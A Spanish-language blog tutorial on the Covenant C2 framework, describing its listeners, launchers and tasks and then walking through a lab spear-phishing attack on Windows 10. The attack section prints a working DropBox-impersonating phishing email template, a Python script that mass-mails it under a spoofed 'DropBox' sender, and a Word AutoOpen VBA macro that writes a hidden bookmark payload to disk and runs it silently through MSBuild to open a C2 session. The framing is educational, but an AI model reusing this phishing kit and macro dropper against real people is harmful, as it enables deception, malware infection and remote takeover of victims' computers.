¿Cómo funciona Covenant C2?

Buenas a tod@s, como es deuda, hoy os traigo la continuación del post anterior de Covenant C2, en este post, vamos hablar de como se utiliza Covenant C2 para poder realizar una infección de un equipo para posteriormente, tener un control total del equipo víctima.

Covenant C2

Antes de comenzar, si no sabes que es Covenant C2 o quieres saber como se instala, puedes visitar el post anterior a través del siguiente enlace:

¿Qué es Covenant C2?

1. Introducción

Antes de comenzar, dejar una breve aclaración, las capturas. y técnicas utilizadas para la realización del post han sido comprobadas en un laboratorio controlado sin medidas de seguridad para paliar dichos ataques.

Todos los ataques y técnicas aplicadas, serán sobre un Windows 10, sin herramientas instaladas que detengan dichos ataques, en futuros post, abarcaremos la evasión de AV y otras herramientas con Covenant C2.

2. Definiciones

Antes de comenzar con las técnicas que vamos aplicar para poder poner en marcha Covenant C2, vamos a explicar todas las secciones de la interfaz web, es importante conocer la estructura de la misma para saber que papel toma dentro de una infraestructura C&C.

Covenant C2
2.1 Listeners

Vamos a comenzar con el primero de la lista, en este caso se trata de los «Listeners», los cuales se crean para poder recibir las conexiones de los «grunts» (clientes). Actualmente, Covenant permite la configuración de «Listeners» nativos o «Bridge», en este post solo vamos a abarcar los nativos. A día de hoy Covenant, de forma nativa solo soporta «HttpListener». Para poder crear un nuevo «Listener», tendremos que hacer «click» en el botón «Create», el cual nos dirigirá a una nueva página de configuración:

En la siguiente captura, podemos ver la página de configuración, donde nos encontraremos con varios parámetros que podemos configurar:

Covenant C2

Esos parámetros son los siguientes:

  • Name: El parámetro Name, será el nombre que recibirá el listener y que aparecerá dentro de la interfaz web. Es importante establecer un nombre fácilmente reconocible.
  • BindAddress: El parámetro BindAddress, será la IP local de la interfaz que se encuentre a la escucha de las conexiones externas que realicen los clientes, esto es útil en caso de que tu servidor tenga múltiples interfaces de red. Por defecto, el valor es 0.0.0.0 para que el «Listener» escuche a través de todas las interfaces del servidor Covenant.
  • BindPort: El parámetro BindPort, será el puerto que se mantendrá a la escucha de los clientes localmente.
  • ConnectPort: El parámetro ConnectPort, será el puerto que utilizarán los clientes infectados para poder conectarse a través de HTTP con el servidor Covenant.
  • ConnectAddresses: El parámetro ConnectAddresses, será la dirección IP o dominio donde los clientes infectados intentarán conectarse para comunicarse con el servidor Covenant C2. Se pueden especificar múltiples ConnectAddresses, para redundar la conectividad contra el servidor Covenant C2, en caso de fallo por parte de una de las conexiones, el cliente intentará conectarse con el siguiente hasta que tenga éxito.
  • Urls: El parámetro Urls, serene las direcciones URL que utilizarán los «Grunts» para conectarse contra el servidor Covenant C2. Estos serán calculados en base a la combinación entre  ConnectAddressesBindPort, y UseSSL, dando como resultado http(s)://<connectaddress>:<bindport>.
  • UseSSL: El parámetro UseSSL, este valor determina si utilizaremos certificados en la comunicación, en caso de marcarlo, necesitaremos proporcionar certificados.
  • SSLCertificate: El parámetro SSLCertificate, será utilizado para especificar el certificado utilizado por el «Listener». En caso de configurarlo, el formato esperado del certificado será PFX. 
  • SSLCertificatePassword: El parámetro SSLCertificatePassword, será utilizado para introducir la contraseña para proteger nuestros certificados.
  • HttpProfile: El parámetro HttpProfile, nos permitirá seleccionar un perfil HTTP el cual modificará el comportamiento de cómo interactuarán los «Grunts» con nuestros «Listeners».
Covenant C2

https://github.com/cobbr/Covenant/wiki/Listeners

2.2 Launchers

Esta sección es importante, ya que tras configurar un «Listener» vamos a querer poder lanzar/infectar una víctima y que esta se conecte contra nuestro servidor C&C, aquí entra esta sección, la cual nos permite crear binarios, scrips y comandos para poder ejecutar nuevos «Grunts».

Covenant C2

Para poder entender algo mejor esta sección, vamos a definir cada una de las opciones disponibles en Covenant C2:

  • Binary – El launcher Binary, se utiliza para crear binarios personalizados utilizados para lanzar en la víctima y crear un «Grunt». Actualmente, es la única opción que no depende de otro binario.
  • ShellCode – El launcher ShellCode, esta opción se utiliza para convertir un binario en shellcode utilizando la herramienta «Donut».
  • PowerShell – El launcher PowerShell, esta opción permite generar código powershell para generar un «Grunt».
  • MSBuild – El launcher MSBuild, es utilizado para generar un MSBuild XML para lanzar un «Grunt» utilizando «msbuild.exe»..
  • InstallUtil – El launcher InstallUtil, es utilizado para generar un InstallUtil XML para lanzar un «Grunt» utilizando «installutil.exe».
  • Mshta – El launcher Mshta, es utilizado para generar un fichero/comando HTA para lanzar un «Grunt» utilizando «mshta.exe».
  • Regsvr32 – El launcher Regsvr32, es utilizado para generar un fichero SCT para lanzar un «Grunt» utilizando «regvr32.exe». 
  • Wmic – El launcher Wmic,  es utilizado para generar un fichero xsl para lanzar un «Grunt» utilizando «mic.exe».
  • Cscript – El launcher Cscript,  es utilizado para generar un JScript para lanzar un «Grunt» utilizando «cscript.exe».
  • Wscript – El launcher Wscript,  es utilizado para generar un JScript para lanzar un «Grunt» utilizando «wscript.exe».

Aquí un ejemplo de utilización del launcher «PowerShell»:

https://github.com/cobbr/Covenant/wiki/Launchers

2.3 Grunts

En esta sección, podremos ver todos los «Grunts» que generemos, a parte de poder interactuar con los mismos:

En caso de abrir el «Grunt», podemos ver información e incluso de interactuar con el mismo:

https://github.com/cobbr/Covenant/wiki/Grunt-Interaction

2.4 Tasks

En esta sección, podemos encontrar todas las «tasks» que podemos lanzar en un «Grunt». Covenant nos da por defecto una cantidad de herramientas bastante amplia para poder obtener información en la post-explotación.

https://github.com/cobbr/Covenant/wiki/Building-Tasks

Finalmente, con tener en cuenta estos puntos, veremos una simulación de ataque interactuando con otras herramientas.

3. Simulación de un posible ataque

Para esta prueba de concepto, vamos a intentar realizar un escenario lo más parecido al mundo real, está claro que es un entorno controlado, donde en varios casos voy a «enmascarar» ciertas técnicas o servicios utilizados por atacantes reales sustituyéndolos por servicios locales o modificación de ciertos archivos. La idea de esta prueba de concepto es mostrar como Covenant forma parte de un ataque realizado por los ciber criminales.

Para comenzar, vamos a explicar el laboratorio que tenemos montado, el cual consta de VM con Kali Linux instalada, donde se realizará parte del ataque, un servidor con Debian 11, donde estará instalado Covenant y Apache Server, y finalmente la máquina objetivo/víctima, la cual tendrá un Windows 10 instalado. A continuación os muestro un diagrama conceptual:

La prueba de concepto, tratará de realizar un Spear Phishing, dónde realizaremos un phishing más sofisticado y personal para nuestra víctima, la cual previamente hemos recolectado información y sabemos que tiene contratado servicios con DropBox. En este phishing, vamos a tratar de engañar a la víctima para que se descargue una «Factura» en formato «docx», la cual contiene una macro maliciosa. Esta macro maliciosa, se activará al abrir dicho documento Word y ejecutará una conexión contra Covenant creando un «Grunt», para posteriormente, poder interactuar con la víctima, escalar privilegios y realizar un dump de credenciales.

3.1 1º Fase – Spear Phishing

Sabemos que la víctima suele utilizar el servicio de almacenamiento en la nube «DropBox», lo que haremos a continuación, será construir una plantilla HTML+CSS para construir el cuerpo del mensaje y que se asemeje lo máximo posible a un correo de DropBox, adicionalmente, añadiremos un botón de descarga, el cual descargará el fichero desde el propio servidor de Covenant, donde tenemos el servidor Apache instalado. Es decir, algo parecido a lo siguiente:

A continuación, os dejo el código:

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8">
    <title>Factura disponible</title>
    <style>
      /* Estilos */
      body {
        font-family: Arial, sans-serif;
        font-size: 16px;
        color: #444444;
        line-height: 1.5;
      }
      .container {
        max-width: 600px;
        margin: 0 auto;
        padding: 20px;
      }
      h1 {
        font-size: 28px;
        color: #0066cc;
        margin-bottom: 30px;
        text-align: center;
      }
      p {
        margin-bottom: 20px;
      }
      .button {
        display: inline-block;
        background-color: #0066cc;
        color: #ffffff;
        padding: 10px 20px;
        border-radius: 4px;
        text-decoration: none;
        margin-top: 20px;
      }
    </style>
  </head>
  <body>
    <div class="container">
      <h1><img width="400" height="200" src="https://upload.wikimedia.org/wikipedia/commons/c/cb/Dropbox_logo_2017.svg"></h1>
      <p>Estimado/a cliente,</p>
      <p><b>Pepe Martinez Ferrandez</b></p>
      <p>Le informamos que su factura correspondiente al mes de <b>Marzo</b> ya está disponible en su cuenta.</p>
      <p>Para ver y descargar su factura, por favor ingrese en el enlace adjunto a continuación:</p>
      <a href="http://192.168.0.19/facturaMarzo.docx" class="button">Descargar Factura</a>
      <p>Si tiene alguna pregunta o inquietud, por favor no dude en contactarnos.</p>
      <p>Gracias por elegir nuestros servicios.</p>
      <p>Atentamente,</p>
      <p>El equipo de DropBox.</p>
    </div>
  </body>
</html>

El siguiente paso, será poder mandar este contenido vía correo electrónico, el cual lo haremos con el siguiente script de python, el cual obtiene una lista de correos electrónicos de un archivo TXT y utiliza la plantilla HTML creada anteriormente para generar el mensaje: Importante recalcar, que hay que utilizar un servicio de correo electrónico que permita acceso a su servidor SMTP, ya sea mediante previo pago o gratuitamente.

import smtplib

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

#Informacion relevante para la conexion al servidor SMTP
server = 'smtp.ejemplo.com'
port = 587
user = 'ejemplo'
password = 'ejemploPassword'
yo = user # yo == Mi correo electronico

# Importando el cuerpo del correo electronico.
text = "Estimado cliente, tiene una factura pendiente."
with open('index.html') as fichero:
    html = fichero.read()

# Creando el contenedor del mensaje.
msg = MIMEMultipart('alternative')
msg['Subject'] = "Nueva factura generada - DropBox."
msg['From'] = "DropBox <" + yo + ">"

part1 = MIMEText(text, 'plain')
part2 = MIMEText(html, 'html')

msg.attach(part1)
msg.attach(part2)

# Leemos los correos que vamos a mandar nuestro x.
with open('mail.txt','r') as datos:
    receptores = datos.readlines()

for receptor in receptores:
    receptor = receptor.rstrip()
    msg['To'] = receptor

    # Enviando el correo electronico.
    print("Connection")
    with smtplib.SMTP(server, port) as connection:
        connection.starttls()
        print("Login")
        connection.login(user,password)
        print("Send email")
        connection.sendmail(yo, receptor, msg.as_string())
        connection.quit()
3.2 2º Fase – Creación del archivo infectado

En este caso, vamos a trabajar con Word, en particular para este caso vamos a utilizar las macros, donde usaremos el siguiente script de VBS para la creación y ejecución de nuestro grunt en Covenant:

Sub AutoOpen()
    Dim fso As Object
    
    Set fso = CreateObject("Scripting.FileSystemObject")
    
    Dim oFile As Object
    
    Set oFile = fso.CreateTextFile("C:\Users\Usuario\Desktop\payload.txt")
    
    Dim MyPayload As String
    
    MyPayload = ActiveDocument.Bookmarks("payload").Range.Text
    
    oFile.Writeline MyPayload
    
    oFile.Close
    
    Set fso = Nothing
    
    Set oFile = Nothing
    
    Call Shell("C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe C:\Users\Usuario\Desktop\payload.txt", vbHide)

End Sub

Como podéis ver, en el script anterior, lo que hacemos es escribir en el archivo «payload.txt» el contenido del marcador «payload» que existe dentro del word y que podemos enmascarar, para finalmente poder ejecutarlo con Msbuild.exe y así crear nuestro Grunt de Covenant.

3.3 3º Fase – Creación del Payload con Covenant

Para este caso, seleccionaremos la opción de «Msbuild» y generamos nuestro payload para copiarlo en el word que hemos comentado en la anterior fase, aparte de esto, lo podemos enmascarar, pero para esta prueba de concepto no es necesario.

Una vez se nos genera el payload, solo queda añadirlo al Word y añadirlo como «marcador»:

3.4 4º Fase – Prueba completa

A continuación, os voy a dejar un vídeo, donde podéis ver todo el proceso completo de un posible ataque. Como os he dicho al principio del post, esta prueba de concepto, no trata de evadir las medidas de seguridad que posiblemente tengan los navegadores y sistemas operativos, simplemente es para poder entender que papel juega Covenant en un ataque.

4. Fuentes

https://github.com/cobbr/Covenant/wiki

https://excellium-services.com/2022/07/25/abusing-macro-to-get-code-execution-from-word-document/

5. Conclusión

Tras realizar esta prueba de concepto, podéis haceros una idea de como se integran los servidores C&C en los ataques que se realizan a lo largo de internet. En mi opinión, con la explotación de servicios mal configurados, vulnerables y ataques dirigidos, los atacantes se hacen con una red amplia de equipos vulnerados.

Deja un comentario

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.